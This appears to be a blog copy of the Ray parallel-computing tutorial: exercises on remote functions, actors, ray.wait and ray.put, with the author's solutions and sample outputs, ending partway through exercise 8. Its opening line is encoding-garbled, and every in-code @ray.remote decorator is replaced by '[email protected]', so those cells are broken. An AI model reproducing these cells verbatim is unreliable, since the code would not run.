้ƒฝๆ•ด็†ๅฆ‚ไธ‹๏ผŒๅนถ้™„ๆœ‰่‡ชๅทฑๅ†™ๅฅฝ็š„็ญ”ๆกˆ๏ผˆไป…ไพ›ๅ‚่€ƒ๏ผ‰ใ€‚\n\n---\n\n## Exercise 1 - Simple Data Parallel Example\n\n**GOAL:** The goal of this exercise is to show how to run simple tasks in parallel.\n\nThis script is too slow, and the computation is embarrassingly parallel. In this exercise, you will use Ray to execute the functions in parallel to speed it up.\n\n### Concept for this Exercise - Remote Functions\n\n> The standard way to turn a Python function into a remote function is to add the `@ray.remote` decorator. Here is an example.\n>\n> ```python\n> # A regular Python function.\n> def regular_function():\n> return 1\n> \n> # A Ray remote function.\n> @ray.remote\n> def remote_function():\n> return 1\n> ```\n>\n> The differences are the following:\n>\n> 1. **Invocation:** The regular version is called with `regular_function()`, whereas the remote version is called with `remote_function.remote()`.\n> 2. **Return values:** `regular_function` immediately executes and returns `1`, whereas `remote_function` immediately returns an object ID (a future) and then creates a task that will be executed on a worker process. The result can be obtained with `ray.get`.\n> ```python\n> >>> regular_function()\n> 1\n> \n> >>> remote_function.remote()\n> ObjectID(1c80d6937802cd7786ad25e50caf2f023c95e350)\n> \n> >>> ray.get(remote_function.remote())\n> 1\n> ```\n> 3. **Parallelism:** Invocations of `regular_function` happen **serially**, for example\n> ```python\n> # These happen serially.\n> for _ in range(4):\n> regular_function()\n> ```\n> whereas invocations of `remote_function` happen in **parallel**, for example\n> ```python\n> # These happen in parallel.\n> for _ in range(4):\n> remote_function.remote()\n> ```\n\n---\n\n```python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport ray\nimport time\n```\n\nStart Ray. By default, Ray does not schedule more tasks concurrently than there are CPUs. This example requires four tasks to run concurrently, so we tell Ray that there are four CPUs. Usually this is not done and Ray computes the number of CPUs using `psutil.cpu_count()`. The argument `ignore_reinit_error=True` just ignores errors if the cell is run multiple times.\n\nThe call to `ray.init` starts a number of processes.\n\n```python\nray.init(num_cpus=4, include_webui=False, ignore_reinit_error=True)\n```\n\n**EXERCISE:** The function below is slow. Turn it into a remote function using the `@ray.remote` decorator.\n\n```python\n# This function is a proxy for a more interesting and computationally\n# intensive function.\[email protected]\ndef slow_function(i):\n time.sleep(1)\n return i\n```\n\n**EXERCISE:** The loop below takes too long. The four function calls could be executed in parallel. Instead of four seconds, it should only take one second. Once `slow_function` has been made a remote function, execute these four tasks in parallel by calling `slow_function.remote()`. Then obtain the results by calling `ray.get` on a list of the resulting object IDs.\n\n```python\n# Sleep a little to improve the accuracy of the timing measurements below.\n# We do this because workers may still be starting up in the background.\ntime.sleep(2.0)\nstart_time = time.time()\n\nresults = ray.get([slow_function.remote(i) for i in range(4)])\n\nend_time = time.time()\nduration = end_time - start_time\n\nprint('The results are {}. This took {} seconds. Run the next cell to see '\n 'if the exercise was done correctly.'.format(results, duration))\n# The results are [0, 1, 2, 3]. This took 1.0055913925170898 seconds. Run the next cell to see if the exercise was done correctly.\n```\n\n**VERIFY:** Run some checks to verify that the changes you made to the code were correct. Some of the checks should fail when you initially run the cells. After completing the exercises, the checks should pass.\n\n```python\nassert results == [0, 1, 2, 3], 'Did you remember to call ray.get?'\nassert duration < 1.1, ('The loop took {} seconds. This is too slow.'\n .format(duration))\nassert duration > 1, ('The loop took {} seconds. This is too fast.'\n .format(duration))\n\nprint('Success! The example took {} seconds.'.format(duration))\n# Success! The example took 1.0055913925170898 seconds.\n```\n\n**EXERCISE:** Use the UI to view the task timeline and to verify that the four tasks were executed in parallel. After running the cell below, you'll need to click on **View task timeline**\".\n- Using the **second** button, you can click and drag to **move** the timeline.\n- Using the **third** button, you can click and drag to **zoom**. You can also zoom by holding \"alt\" and scrolling.\n\n**NOTE:** Normally our UI is used as a separate Jupyter notebook. However, for simplicity we embedded the relevant feature here in this notebook.\n\n**NOTE:** The first time you click **View task timeline** it may take **several minutes** to start up. This will change.\n\n**NOTE:** If you run more tasks and want to regenerate the UI, you need to move the slider bar a little bit and then click **View task timeline** again.\n\n**NOTE:** The timeline visualization may only work in **Chrome**.\n\n```python\nimport ray.experimental.ui as ui\nui.task_timeline()\n```\n\n![](https://i.loli.net/2018/12/13/5c11e25231d2a.png)\n\n---\n\n## Exercise 2 - Parallel Data Processing with Task Dependencies\n\n**GOAL:** The goal of this exercise is to show how to pass object IDs into remote functions to encode dependencies between tasks.\n\nIn this exercise, we construct a sequence of tasks each of which depends on the previous mimicking a data parallel application. Within each sequence, tasks are executed serially, but multiple sequences can be executed in parallel.\n\nIn this exercise, you will use Ray to parallelize the computation below and speed it up.\n\n### Concept for this Exercise - Task Dependencies\n\n> Suppose we have two remote functions defined as follows.\n>\n> ```python\n> @ray.remote\n> def f(x):\n> return x\n> ```\n>\n> Arguments can be passed into remote functions as usual.\n>\n> ```python\n> >>> x1_id = f.remote(1)\n> >>> ray.get(x1_id)\n> 1\n> \n> >>> x2_id = f.remote([1, 2, 3])\n> >>> ray.get(x2_id)\n> [1, 2, 3]\n> ```\n>\n> **Object IDs** can also be passed into remote functions. When the function actually gets executed, **the argument will be a retrieved as a regular Python object**.\n>\n> ```python\n> >>> y1_id = f.remote(x1_id)\n> >>> ray.get(y1_id)\n> 1\n> \n> >>> y2_id = f.remote(x2_id)\n> >>> ray.get(y2_id)\n> [1, 2, 3]\n> ```\n>\n> So when implementing a remote function, the function should expect a regular Python object regardless of whether the caller passes in a regular Python object or an object ID.\n>\n> **Task dependencies affect scheduling.** In the example above, the task that creates `y1_id` depends on the task that creates `x1_id`. This has the following implications.\n>\n> - The second task will not be executed until the first task has finished executing.\n> - If the two tasks are scheduled on different machines, the output of the first task (the value corresponding to `x1_id`) will be copied over the network to the machine where the second task is scheduled.\n\n---\n\n```python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport ray\nimport time\n```\n\n```python\nray.init(num_cpus=4, include_webui=False, ignore_reinit_error=True)\n```\n\nThese are some helper functions that mimic an example pattern of a data parallel application.\n\n**EXERCISE:** You will need to turn all of these functions into remote functions. When you turn these functions into remote function, you do not have to worry about whether the caller passes in an object ID or a regular object. In both cases, the arguments will be regular objects when the function executes. This means that even if you pass in an object ID, you **do not need to call `ray.get`** inside of these remote functions.\n\n```python\[email protected]\ndef load_data(filename):\n time.sleep(0.1)\n return np.ones((1000, 100))\n\[email protected]\ndef normalize_data(data):\n time.sleep(0.1)\n return data - np.mean(data, axis=0)\n\[email protected]\ndef extract_features(normalized_data):\n time.sleep(0.1)\n return np.hstack([normalized_data, normalized_data ** 2])\n\[email protected]\ndef compute_loss(features):\n num_data, dim = features.shape\n time.sleep(0.1)\n return np.sum((np.dot(features, np.ones(dim)) - np.ones(num_data)) ** 2)\n\nassert hasattr(load_data, 'remote'), 'load_data must be a remote function'\nassert hasattr(normalize_data, 'remote'), 'normalize_data must be a remote function'\nassert hasattr(extract_features, 'remote'), 'extract_features must be a remote function'\nassert hasattr(compute_loss, 'remote'), 'compute_loss must be a remote function'\n```\n\n**EXERCISE:** The loop below takes too long. Parallelize the four passes through the loop by turning `load_data`, `normalize_data`, `extract_features`, and `compute_loss` into remote functions and then retrieving the losses with `ray.get`.\n\n**NOTE:** You should only use **ONE** call to `ray.get`. For example, the object ID returned by `load_data` should be passed directly into `normalize_data` without needing to be retrieved by the driver.\n\n```python\n# Sleep a little to improve the accuracy of the timing measurements below.\ntime.sleep(2.0)\nstart_time = time.time()\n\nlosses = []\nfor filename in ['file1', 'file2', 'file3', 'file4']:\n inner_start = time.time()\n\n data = load_data.remote(filename)\n normalized_data = normalize_data.remote(data)\n features = extract_features.remote(normalized_data)\n loss = compute_loss.remote(features)\n losses.append(loss)\n \n inner_end = time.time()\n \n if inner_end - inner_start >= 0.1:\n raise Exception('You may be calling ray.get inside of the for loop! '\n 'Doing this will prevent parallelism from being exposed. '\n 'Make sure to only call ray.get once outside of the for loop.')\n\nprint('The losses are {}.'.format(losses) + '\\n')\nloss = sum(ray.get(losses))\n\nend_time = time.time()\nduration = end_time - start_time\n\nprint('The loss is {}. This took {} seconds. Run the next cell to see '\n 'if the exercise was done correctly.'.format(loss, duration))\n\n# The losses are [ObjectID(c93d08295a9c442613ed4b4eca48f94ec6814f5b), ObjectID(b2826a902ef0845f30bc2ee0dd1ea4f78629bd8c), ObjectID(7dff67fd2906233ff53a5ea8d13932bb33f0031a), ObjectID(01d0071b7d8705f17673f5e660bd3d9c8a2c8ba1)].\n\n# The loss is 4000.0. This took 0.6542365550994873 seconds. Run the next cell to see if the exercise was done correctly.\n```\n\n**VERIFY:** Run some checks to verify that the changes you made to the code were correct. Some of the checks should fail when you initially run the cells. After completing the exercises, the checks should pass.\n\n```python\nassert loss == 4000\nassert duration < 0.8, ('The loop took {} seconds. This is too slow.'\n .format(duration))\nassert duration > 0.4, ('The loop took {} seconds. This is too fast.'\n .format(duration))\n\nprint('Success! The example took {} seconds.'.format(duration))\n# Success! The example took 0.6542365550994873 seconds.\n```\n\n**EXERCISE:** Use the UI to view the task timeline and to verify that the relevant tasks were executed in parallel. After running the cell below, you'll need to click on **View task timeline**\".\n- Using the **second** button, you can click and drag to **move** the timeline.\n- Using the **third** button, you can click and drag to **zoom**. You can also zoom by holding \"alt\" and scrolling.\n\nIn the timeline, click on **View Options** and select **Flow Events** to visualize tasks dependencies.\n\n```python\nimport ray.experimental.ui as ui\nui.task_timeline()\n```\n\n![](https://i.loli.net/2018/12/13/5c11e28c5c1a2.png)\n\n---\n\n## Exercise 3 - Nested Parallelism\n\n**GOAL:** The goal of this exercise is to show how to create nested tasks by calling a remote function inside of another remote function.\n\nIn this exercise, you will implement the structure of a parallel hyperparameter sweep which trains a number of models in parallel. Each model will be trained using parallel gradient computations.\n\n### Concepts for this Exercise - Nested Remote Functions\n\n> Remote functions can call other functions. For example, consider the following.\n>\n> ```python\n> @ray.remote\n> def f():\n> return 1\n> \n> @ray.remote\n> def g():\n> # Call f 4 times and return the resulting object IDs.\n> return [f.remote() for _ in range(4)]\n> \n> @ray.remote\n> def h():\n> # Call f 4 times, block until those 4 tasks finish,\n> # retrieve the results, and return the values.\n> return ray.get([f.remote() for _ in range(4)])\n> ```\n>\n> Then calling `g` and `h` produces the following behavior.\n>\n> ```python\n> >>> ray.get(g.remote())\n> [ObjectID(b1457ba0911ae84989aae86f89409e953dd9a80e),\n> ObjectID(7c14a1d13a56d8dc01e800761a66f09201104275),\n> ObjectID(99763728ffc1a2c0766a2000ebabded52514e9a6),\n> ObjectID(9c2f372e1933b04b2936bb6f58161285829b9914)]\n> \n> >>> ray.get(h.remote())\n> [1, 1, 1, 1]\n> ```\n>\n> **One limitation** is that the definition of `f` must come before the definitions of `g` and `h` because as soon as `g` is defined, it will be pickled and shipped to the workers, and so if `f` hasn't been defined yet, the definition will be incomplete.\n\n---\n\n```python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport ray\nimport time\n```\n\n```python\nray.init(num_cpus=9, include_webui=False, ignore_reinit_error=True)\n```\n\nThis example represents a hyperparameter sweep in which multiple models are trained in parallel. Each model training task also performs data parallel gradient computations.\n\n**EXERCISE:** Turn `compute_gradient` and `train_model` into remote functions so that they can be executed in parallel. Inside of `train_model`, do the calls to `compute_gradient` in parallel and fetch the results using `ray.get`.\n\n```python\[email protected]\ndef compute_gradient(data, current_model):\n time.sleep(0.03)\n return 1\n\[email protected]\ndef train_model(hyperparameters):\n current_model = 0\n # Iteratively improve the current model. This outer loop cannot be parallelized.\n for _ in range(10):\n # EXERCISE: Parallelize the list comprehension in the line below. After you\n # turn \"compute_gradient\" into a remote function, you will need to call it\n # with \".remote\". The results must be retrieved with \"ray.get\" before \"sum\"\n # is called.\n total_gradient = sum(ray.get([compute_gradient.remote(j, current_model) for j in range(2)]))\n current_model += total_gradient\n\n return current_model\n\nassert hasattr(compute_gradient, 'remote'), 'compute_gradient must be a remote function'\nassert hasattr(train_model, 'remote'), 'train_model must be a remote function'\n```\n\n**EXERCISE:** The code below runs 3 hyperparameter experiments. Change this to run the experiments in parallel.\n\n```python\n# Sleep a little to improve the accuracy of the timing measurements below.\ntime.sleep(2.0)\nstart_time = time.time()\n\n# Run some hyperparaameter experiments.\nresults = []\nfor hyperparameters in [{'learning_rate': 1e-1, 'batch_size': 100},\n {'learning_rate': 1e-2, 'batch_size': 100},\n {'learning_rate': 1e-3, 'batch_size': 100}]:\n results.append(train_model.remote(hyperparameters))\n\n# EXERCISE: Once you've turned \"results\" into a list of Ray ObjectIDs\n# by calling train_model.remote, you will need to turn \"results\" back\n# into a list of integers, e.g., by doing \"results = ray.get(results)\".\nresults = ray.get(results)\n\nend_time = time.time()\nduration = end_time - start_time\n\nassert all([isinstance(x, int) for x in results]), 'Looks like \"results\" is {}. You may have forgotten to call ray.get.'.format(results)\n```\n\n**VERIFY:** Run some checks to verify that the changes you made to the code were correct. Some of the checks should fail when you initially run the cells. After completing the exercises, the checks should pass.\n\n```python\nassert results == [20, 20, 20]\nassert duration < 0.5, ('The experiments ran in {} seconds. This is too '\n 'slow.'.format(duration))\nassert duration > 0.3, ('The experiments ran in {} seconds. This is too '\n 'fast.'.format(duration))\n\nprint('Success! The example took {} seconds.'.format(duration))\n# Success! The example took 0.32144594192504883 seconds.\n```\n\n**EXERCISE:** Use the UI to view the task timeline and to verify that the pattern makes sense.\n\n```python\nimport ray.experimental.ui as ui\nui.task_timeline()\n```\n\n![](https://i.loli.net/2018/12/13/5c11e2e06ae8c.png)\n\n---\n\n## Exercise 4 - Introducing Actors\n\n**Goal:** The goal of this exercise is to show how to create an actor and how to call actor methods.\n\nSee the documentation on actors at http://ray.readthedocs.io/en/latest/actors.html.\n\nSometimes you need a \"worker\" process to have \"state\". For example, that state might be a neural network, a simulator environment, a counter, or something else entirely. However, remote functions are side-effect free. That is, they operate on inputs and produce outputs, but they don't change the state of the worker they execute on.\n\nActors are different. When we instantiate an actor, a brand new worker is created, and all methods that are called on that actor are executed on the newly created worker.\n\nThis means that with a single actor, no parallelism can be achieved because calls to the actor's methods will be executed one at a time. However, multiple actors can be created and methods can be executed on them in parallel.\n\n### Concepts for this Exercise - Actors\n\n> To create an actor, decorate Python class with the `@ray.remote` decorator.\n>\n> ```python\n> @ray.remote\n> class Example(object):\n> def __init__(self, x):\n> self.x = x\n> \n> def set(self, x):\n> self.x = x\n> \n> def get(self):\n> return self.x\n> ```\n>\n> Like regular Python classes, **actors encapsulate state that is shared across actor method invocations**.\n>\n> Actor classes differ from regular Python classes in the following ways.\n> 1. **Instantiation:** A regular class would be instantiated via `e = Example(1)`. Actors are instantiated via\n> ```python\n> e = Example.remote(1)\n> ```\n> When an actor is instantiated, a **new worker process** is created by a local scheduler somewhere in the cluster.\n> 2. **Method Invocation:** Methods of a regular class would be invoked via `e.set(2)` or `e.get()`. Actor methods are invoked differently.\n> ```python\n> >>> e.set.remote(2)\n> ObjectID(d966aa9b6486331dc2257522734a69ff603e5a1c)\n> \n> >>> e.get.remote()\n> ObjectID(7c432c085864ed4c7c18cf112377a608676afbc3)\n> ```\n> 3. **Return Values:** Actor methods are non-blocking. They immediately return an object ID and **they create a task which is scheduled on the actor worker**. The result can be retrieved with `ray.get`.\n> ```python\n> >>> ray.get(e.set.remote(2))\n> None\n> \n> >>> ray.get(e.get.remote())\n> 2\n> ```\n\n---\n\n```python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport ray\nimport time\n```\n\n```python\nray.init(num_cpus=4, include_webui=False, ignore_reinit_error=True)\n```\n\n**EXERCISE:** Change the `Foo` class to be an actor class by using the `@ray.remote` decorator.\n\n```python\[email protected]\nclass Foo(object):\n def __init__(self):\n self.counter = 0\n\n def reset(self):\n self.counter = 0\n\n def increment(self):\n time.sleep(0.5)\n self.counter += 1\n return self.counter\n\nassert hasattr(Foo, 'remote'), 'You need to turn \"Foo\" into an actor with @ray.remote.'\n```\n\n**EXERCISE:** Change the intantiations below to create two actors by calling `Foo.remote()`.\n\n```python\n# Create two Foo objects.\nf1 = Foo.remote()\nf2 = Foo.remote()\n```\n\n**EXERCISE:** Parallelize the code below. The two actors can execute methods in parallel (though each actor can only execute one method at a time).\n\n```python\n# Sleep a little to improve the accuracy of the timing measurements below.\ntime.sleep(2.0)\nstart_time = time.time()\n\n# Reset the actor state so that we can run this cell multiple times without\n# changing the results.\nf1.reset.remote()\nf2.reset.remote()\n\n# We want to parallelize this code. However, it is not straightforward to\n# make \"increment\" a remote function, because state is shared (the value of\n# \"self.counter\") between subsequent calls to \"increment\". In this case, it\n# makes sense to use actors.\nresults = []\nfor _ in range(5):\n results.append(f1.increment.remote())\n results.append(f2.increment.remote())\n\nresults = ray.get(results)\n\nend_time = time.time()\nduration = end_time - start_time\n\nassert not any([isinstance(result, ray.ObjectID) for result in results]), 'Looks like \"results\" is {}. You may have forgotten to call ray.get.'.format(results)\n```\n\n**VERIFY:** Run some checks to verify that the changes you made to the code were correct. Some of the checks should fail when you initially run the cells. After completing the exercises, the checks should pass.\n\n```python\nassert results == [1, 1, 2, 2, 3, 3, 4, 4, 5, 5]\n\nassert duration < 3, ('The experiments ran in {} seconds. This is too '\n 'slow.'.format(duration))\nassert duration > 2.5, ('The experiments ran in {} seconds. This is too '\n 'fast.'.format(duration))\n\nprint('Success! The example took {} seconds.'.format(duration))\n# Success! The example took 2.5102529525756836 seconds.\n```\n\n\n\n---\n\n## Exercise 5 - Actor Handles\n\n**GOAL:** The goal of this exercise is to show how to pass around actor handles.\n\nSuppose we wish to have multiple tasks invoke methods on the same actor. For example, we may have a single actor that records logging information from a number of tasks. We can achieve this by passing a handle to the actor as an argument into the relevant tasks.\n\n### Concepts for this Exercise - Actor Handles\n\n> First of all, suppose we've created an actor as follows.\n>\n> ```python\n> @ray.remote\n> class Actor(object):\n> def method(self):\n> pass\n> \n> # Create the actor\n> actor = Actor.remote()\n> ```\n>\n> Then we can define a remote function (or another actor) that takes an actor handle as an argument.\n>\n> ```python\n> @ray.remote\n> def f(actor):\n> # We can invoke methods on the actor.\n> x_id = actor.method.remote()\n> # We can block and get the results.\n> return ray.get(x_id)\n> ```\n>\n> Then we can invoke the remote function a few times and pass in the actor handle.\n>\n> ```python\n> # Each of the three tasks created below will invoke methods on the same actor.\n> f.remote(actor)\n> f.remote(actor)\n> f.remote(actor)\n> ```\n\n---\n\n```python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom collections import defaultdict\nimport ray\nimport time\n```\n\n```python\nray.init(num_cpus=4, include_webui=False, ignore_reinit_error=True)\n```\n\nIn this exercise, we're going to write some code that runs several \"experiments\" in parallel and has each experiment log its results to an actor. The driver script can then periodically pull the results from the logging actor.\n\n**EXERCISE:** Turn this `LoggingActor` class into an actor class.\n\n```python\[email protected]\nclass LoggingActor(object):\n def __init__(self):\n self.logs = defaultdict(lambda: [])\n \n def log(self, index, message):\n self.logs[index].append(message)\n \n def get_logs(self):\n return dict(self.logs)\n\n\nassert hasattr(LoggingActor, 'remote'), ('You need to turn LoggingActor into an '\n 'actor (by using the ray.remote keyword).')\n```\n\n**EXERCISE:** Instantiate the actor.\n\n```python\nlogging_actor = LoggingActor.remote()\n\n# Some checks to make sure this was done correctly.\nassert hasattr(logging_actor, 'get_logs')\n```\n\nNow we define a remote function that runs and pushes its logs to the `LoggingActor`.\n\n**EXERCISE:** Modify this function so that it invokes methods correctly on `logging_actor` (you need to change the way you call the `log` method).\n\n```python\[email protected]\ndef run_experiment(experiment_index, logging_actor):\n for i in range(60):\n time.sleep(1)\n # Push a logging message to the actor.\n logging_actor.log.remote(experiment_index, 'On iteration {}'.format(i))\n```\n\nNow we create several tasks that use the logging actor.\n\n```python\nexperiment_ids = [run_experiment.remote(i, logging_actor) for i in range(3)]\n```\n\nWhile the experiments are running in the background, the driver process (that is, this Jupyter notebook) can query the actor to read the logs.\n\n**EXERCISE:** Modify the code below to dispatch methods to the `LoggingActor`.\n\n```python\nlogs = ray.get(logging_actor.get_logs.remote())\nprint(logs)\n\nassert isinstance(logs, dict), (\"Make sure that you dispatch tasks to the \"\n \"actor using the .remote keyword and get the results using ray.get.\")\n#{0: ['On iteration 0'], \n# 1: ['On iteration 0'], \n# 2: ['On iteration 0']}\n```\n\n**EXERCISE:** Try running the above box multiple times and see how the results change (while the experiments are still running in the background). You can also try running more of the experiment tasks and see what happens.\n\n```python\n#{2: ['On iteration 0', 'On iteration 1'], \n# 0: ['On iteration 0', 'On iteration 1'], \n# 1: ['On iteration 0', 'On iteration 1']}\n#{0: ['On iteration 0', 'On iteration 1', 'On iteration 2'], \n# 2: ['On iteration 0', 'On iteration 1', 'On iteration 2'], \n# 1: ['On iteration 0', 'On iteration 1', 'On iteration 2']}\n```\n\n\n\n---\n\n## Exercise 6 - Handling Slow Tasks\n\n**GOAL:** The goal of this exercise is to show how to use `ray.wait` to avoid waiting for slow tasks.\n\nSee the documentation for ray.wait at https://ray.readthedocs.io/en/latest/api.html#ray.wait.\n\nThis script starts 6 tasks, each of which takes a random amount of time to complete. We'd like to process the results in two batches (each of size 3). Change the code so that instead of waiting for a fixed set of 3 tasks to finish, we make the first batch consist of the first 3 tasks that complete. The second batch should consist of the 3 remaining tasks. Do this exercise by using `ray.wait`.\n\n### Concepts for this Exercise - ray.wait\n\n> After launching a number of tasks, you may want to know which ones have finished executing. This can be done with `ray.wait`. The function works as follows.\n>\n> ```python\n> ready_ids, remaining_ids = ray.wait(object_ids, num_returns=1, timeout=None)\n> ```\n>\n> **Arguments:**\n>\n> - `object_ids`: This is a list of object IDs.\n> - `num_returns`: This is maximum number of object IDs to wait for. The default value is `1`.\n> - `timeout`: This is the maximum amount of time in milliseconds to wait for. So `ray.wait` will block until either `num_returns` objects are ready or until `timeout` milliseconds have passed.\n>\n> **Return values:**\n> - `ready_ids`: This is a list of object IDs that are available in the object store.\n> - `remaining_ids`: This is a list of the IDs that were in `object_ids` but are not in `ready_ids`, so the IDs in `ready_ids` and `remaining_ids` together make up all the IDs in `object_ids`.\n\n---\n\n```python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport ray\nimport time\n```\n\n```python\nray.init(num_cpus=6, include_webui=False, ignore_reinit_error=True)\n```\n\nDefine a remote function that takes a variable amount of time to run.\n\n```python\[email protected]\ndef f(i):\n np.random.seed(5 + i)\n x = np.random.uniform(0, 4)\n time.sleep(x)\n return i, time.time()\n```\n\n**EXERCISE:** Using `ray.wait`, change the code below so that `initial_results` consists of the outputs of the first three tasks to complete instead of the first three tasks that were submitted.\n\n```python\n# Sleep a little to improve the accuracy of the timing measurements below.\ntime.sleep(2.0)\nstart_time = time.time()\n\n# This launches 6 tasks, each of which takes a random amount of time to\n# complete.\nresult_ids = ray.wait([f.remote(i) for i in range(6)], num_returns=3, timeout=None)\n# Get one batch of tasks. Instead of waiting for a fixed subset of tasks, we\n# should instead use the first 3 tasks that finish.\n# initial_results = ray.get(result_ids[:3])\ninitial_results = ray.get(result_ids[0])\n\nend_time = time.time()\nduration = end_time - start_time\n```\n\n**EXERCISE:** Change the code below so that `remaining_results` consists of the outputs of the last three tasks to complete.\n\n```python\n# Wait for the remaining tasks to complete.\n# remaining_results = ray.get(result_ids[3:])\nremaining_results = ray.get(result_ids[1])\n```\n\n**VERIFY:** Run some checks to verify that the changes you made to the code were correct. Some of the checks should fail when you initially run the cells. After completing the exercises, the checks should pass.\n\n```python\nassert len(initial_results) == 3\nassert len(remaining_results) == 3\n\ninitial_indices = [result[0] for result in initial_results]\ninitial_times = [result[1] for result in initial_results]\nremaining_indices = [result[0] for result in remaining_results]\nremaining_times = [result[1] for result in remaining_results]\n\nassert set(initial_indices + remaining_indices) == set(range(6))\n\nassert duration < 1.5, ('The initial batch of ten tasks was retrieved in '\n '{} seconds. This is too slow.'.format(duration))\n\nassert duration > 0.8, ('The initial batch of ten tasks was retrieved in '\n '{} seconds. This is too slow.'.format(duration))\n\n# Make sure the initial results actually completed first.\nassert max(initial_times) < min(remaining_times)\n\nprint('Success! The example took {} seconds.'.format(duration))\n# Success! The example took 0.893179178237915 seconds.\n```\n\n\n\n---\n\n## Exercise 7 - Process Tasks in Order of Completion\n\n**GOAL:** The goal of this exercise is to show how to use `ray.wait` to process tasks in the order that they finish.\n\nSee the documentation for ray.wait at https://ray.readthedocs.io/en/latest/api.html#ray.wait.\n\nThe code below runs 10 tasks and retrieves the results in the order that the tasks were launched. However, since each task takes a random amount of time to finish, we could instead process the tasks in the order that they finish.\n\n```python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport ray\nimport time\n```\n\n```python\nray.init(num_cpus=5, include_webui=False, ignore_reinit_error=True)\n```\n\n```python\[email protected]\ndef f():\n time.sleep(np.random.uniform(0, 5))\n return time.time()\n```\n\n**EXERCISE:** Change the code below to use `ray.wait` to get the results of the tasks in the order that they complete.\n\n**NOTE:** It would be a simple modification to maintain a pool of 10 experiments and to start a new experiment whenever one finishes.\n\n```python\n# Sleep a little to improve the accuracy of the timing measurements below.\ntime.sleep(2.0)\nstart_time = time.time()\n\n# result_ids = [f.remote() for _ in range(10)]\ntemp = ray.wait( [f.remote() for _ in range(10)] , num_returns=1, timeout=None)\nresult_ids = temp[0]\nwhile temp[1]:\n temp = ray.wait( temp[1] , num_returns=1, timeout=None)\n result_ids.extend(temp[0])\n\n# Get the results.\nresults = []\nfor result_id in result_ids:\n result = ray.get(result_id)\n results.append(result)\n print('Processing result which finished after {} seconds.'\n .format(result - start_time))\n\nend_time = time.time()\nduration = end_time - start_time\n# Processing result which finished after 1.5440089702606201 seconds.\n# Processing result which finished after 1.8363125324249268 seconds.\n# Processing result which finished after 2.719313144683838 seconds.\n# Processing result which finished after 3.2043678760528564 seconds.\n# Processing result which finished after 3.8053157329559326 seconds.\n# Processing result which finished after 3.9189162254333496 seconds.\n# Processing result which finished after 4.422319412231445 seconds.\n# Processing result which finished after 5.62132453918457 seconds.\n# Processing result which finished after 6.22131085395813 seconds.\n# Processing result which finished after 6.867010593414307 seconds.\n```\n\n**VERIFY:** Run some checks to verify that the changes you made to the code were correct. Some of the checks should fail when you initially run the cells. After completing the exercises, the checks should pass.\n\n```python\nassert results == sorted(results), ('The results were not processed in the '\n 'order that they finished.')\n\nprint('Success! The example took {} seconds.'.format(duration))\n# Success! The example took 6.874698162078857 seconds.\n```\n\n\n\n---\n\n## Exercise 8 - Speed up Serialization\n\n**GOAL:** The goal of this exercise is to illustrate how to speed up serialization by using `ray.put`.\n\n### Concepts for this Exercise - ray.put\n\n> Object IDs can be created in multiple ways.\n> - They are returned by remote function calls.\n> - They are returned by actor method calls.\n> - They are returned by `ray.put`.\n>\n> When an object is passed to `ray.put`, the object is serialized using the Apache Arrow format (see https://arrow.apache.org/ for more information about Arrow) and copied into a shared memory object store. This object will then be available to other workers on the same machine via shared memory. If it is needed by workers on another machine, it will be shipped under the hood.\n>\n> **When objects are passed into a remote function, Ray puts them in the object store under the hood.** That is, if `f` is a remote function, the code\n>\n> ```python\n> x = np.zeros(1000)\n> f.remote(x)\n> ```\n>\n> is essentially transformed under the hood to\n>\n> ```python\n> x = np.zeros(1000)\n> x_id = ray.put(x)\n> f.remote(x_id)\n> ```\n>\n> The call to `ray.put` copies the numpy array into the shared-memory object store, from where it can be read by all of the worker processes (without additional copying). However, if you do something like\n>\n> ```python\n> for i in range(10):\n> \tf.remote(x)\n> ```\n>\n> then 10 copies of the array will be placed into the object store. This takes up more memory in the object store than is necessary, and it also takes time to copy the array into the object store over and over. This can be made more efficient by placing the array in the object store only once as follows.\n>\n> ```python\n> x_id = ray.put(x)\n> for i in range(10):\n> \tf.remote(x_id)\n> ```\n>\n> In this exercise, you will speed up the code below and reduce the memory footprint by calling `ray.put` on the neural net weights before passing them into the remote functions.\n>\n> **WARNING:** This exercise requires a lot of memory to run. If this notebook is running within a Docker container, then the docker container must be started with a large shared-memory file system. This can be done by starting the docker container with the `--shm-size` flag.\n\n```python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport pickle\nimport numpy as np\nimport ray\nimport time\n```\n\n```python\nray.init(num_cpus=4, include_webui=False, ignore_reinit_error=True)\n```\n\nDefine some neural net weights which will be passed into a number of tasks.\n\n```python\n# neural_net_weights = {'variable{}'.format(i): np.random.normal(size=1000000)\n# for i in range(50)} # ่ฟ™ไธชๅฅฝๅƒๆœ‰่ฏฏ\nneural_net_weights = np.random.normal(size=1000000)\n```\n\n**EXERCISE:** Compare the time required to serialize the neural net weights and copy them into the object store using Ray versus the time required to pickle and unpickle the weights. The big win should be with the time required for *deserialization*.\n\nNote that when you call `ray.put`, in addition to serializing the object, we are copying it into shared memory where it can be efficiently accessed by other workers on the same machine.\n\n**NOTE:** You don't actually have to do anything here other than run the cell below and read the output.\n\n**NOTE:** Sometimes `ray.put` can be faster than `pickle.dumps`. This is because `ray.put` leverages multiple threads when serializing large objects. Note that this is not possible with `pickle`.\n\n```python\nprint('Ray - serializing')\n%time x_id = ray.put(neural_net_weights)\nprint('\\nRay - deserializing')\n%time x_val = ray.get(x_id)\n\nprint('\\npickle - serializing')\n%time serialized = pickle.dumps(neural_net_weights)\nprint('\\npickle - deserializing')\n%time deserialized = pickle.loads(serialized)\n\n# Ray - serializing\n# CPU times: user 35.9 ms, sys: 47.9 ms, total: 83.7 ms\n# Wall time: 61.6 ms\n\n# Ray - deserializing\n# CPU times: user 1.07 ms, sys: 0 ns, total: 1.07 ms\n# Wall time: 1.04 ms\n\n# pickle - serializing\n# CPU times: user 85.8 ms, sys: 103 ms, total: 